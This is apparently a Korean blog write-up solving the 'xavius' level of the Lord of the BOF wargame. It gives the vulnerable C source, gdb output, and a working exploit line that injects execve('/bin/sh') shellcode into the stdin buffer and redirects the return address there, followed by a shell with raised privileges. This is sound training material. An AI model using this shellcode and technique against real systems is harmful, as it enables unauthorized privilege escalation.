LOB nightmare => xavius
문제
/*
The Lord of the BOF : The Fellowship of the BOF
- xavius
- arg
*/
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
main()
{
char buffer[40];
char *ret_addr;
// overflow!
fgets(buffer, 256, stdin);
printf("%s\n", buffer);
if(*(buffer+47) == '\xbf')
{
printf("stack retbayed you!\n");
exit(0);
}
if(*(buffer+47) == '\x08')
{
printf("binary image retbayed you, too!!\n");
exit(0);
}
// check if the ret_addr is library function or not
memcpy(&ret_addr, buffer+44, 4);
while(memcmp(ret_addr, "\x90\x90", 2) != 0) // end point of function
{
if(*ret_addr == '\xc9'){ // leave
if(*(ret_addr+1) == '\xc3'){ // ret
printf("You cannot use library function!\n");
exit(0);
}
}
ret_addr++;
}
// stack destroyer
memset(buffer, 0, 44);
memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
// LD_* eraser
// 40 : extra space for memset function
memset(buffer-3000, 0, 3000-40);
}
스택 막혔고
라이브러리 막혔고
LD_막혔고
08바이너리 이미지? 막혔다고 한다.
이 정도면 그냥 다막아둔거 아닌가;;
풀이
이번에는 전 소스코드와 다른점이 하나 있다.
바로 입력을 argv가 아닌 fgets함수를 이용해 받는다는 것
fgets 함수는 입력할때 stdin 버퍼를 거치게 되는데 이 버퍼에 내용은 지워져있지 않을 확률이 높다. ( 참고로 버퍼를 지우는 함수는 fflush 함수를 이용하면 된다.)
한번 찾아보자.
(gdb) disas main
Dump of assembler code for function main:
0x8048714 <main>: push %ebp
0x8048715 <main+1>: mov %ebp,%esp
0x8048717 <main+3>: sub %esp,44
0x804871a <main+6>: mov %eax,%ds:0x8049a3c
0x804871f <main+11>: push %eax
0x8048720 <main+12>: push 0x100
0x8048725 <main+17>: lea %eax,[%ebp-40]
0x8048728 <main+20>: push %eax
0x8048729 <main+21>: call 0x8048408 <fgets>
fgets의 마지막 인자는 stdin이다. 즉, fgets를 위해 push되는 인자 중 제일 앞에 있는 것 즉 0x08049a3c가 stdin이다. 저 주소를 찾아보자. ( 나는 main+12에 bp를 걸고 eax를 확인하였다.)
(gdb) x/100wx stdin
0x401068c0 <_IO_2_1_stdin_>: 0xfbad2288 0x40015059 0x40015059 0x40015000
0x401068d0 <_IO_2_1_stdin_+16>: 0x40015000 0x40015000 0x40015000 0x40015000
0x401068e0 <_IO_2_1_stdin_+32>: 0x40015400 0x00000000 0x00000000 0x00000000
0x401068f0 <_IO_2_1_stdin_+48>: 0x00000000 0x00000000 0x00000000 0x00000000
0x40106900 <_IO_2_1_stdin_+64>: 0xffffffff 0x00000000 0x401068a0 0xffffffff
아. 그리고 x/x stdin 해도 똑같은 결과가 나온다. 아무튼 stdin내용에 대한 자세한 설명은 다음 블로그에 있다.
해당 블로그를 참고하면 대충 0x40015000이 버퍼의 시작점이고 0x40015059가 버퍼가 끝나는 위치라는 것을 알 수 있다. 그러면 쉘코드를 입력하고 점프 위치를 이곳으로 바꾸어 보자.
[nightmare@localhost nightmare]$ (python -c 'print "\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x01\x50\x01\x40"';cat) | ./xavius
????????????????????1픐h//shh/bin??S??
것P@
id
uid=518(nightmare) gid=518(nightmare) euid=519(xavius) egid=519(xavius) groups=518(nightmare)
음 성공적이다. 고민한것에 비해서는 그렇게 어려운 문제는 아니었던것 같다... 물론 모르고 몇일을 헤맨 내가 할 말은 아니지만...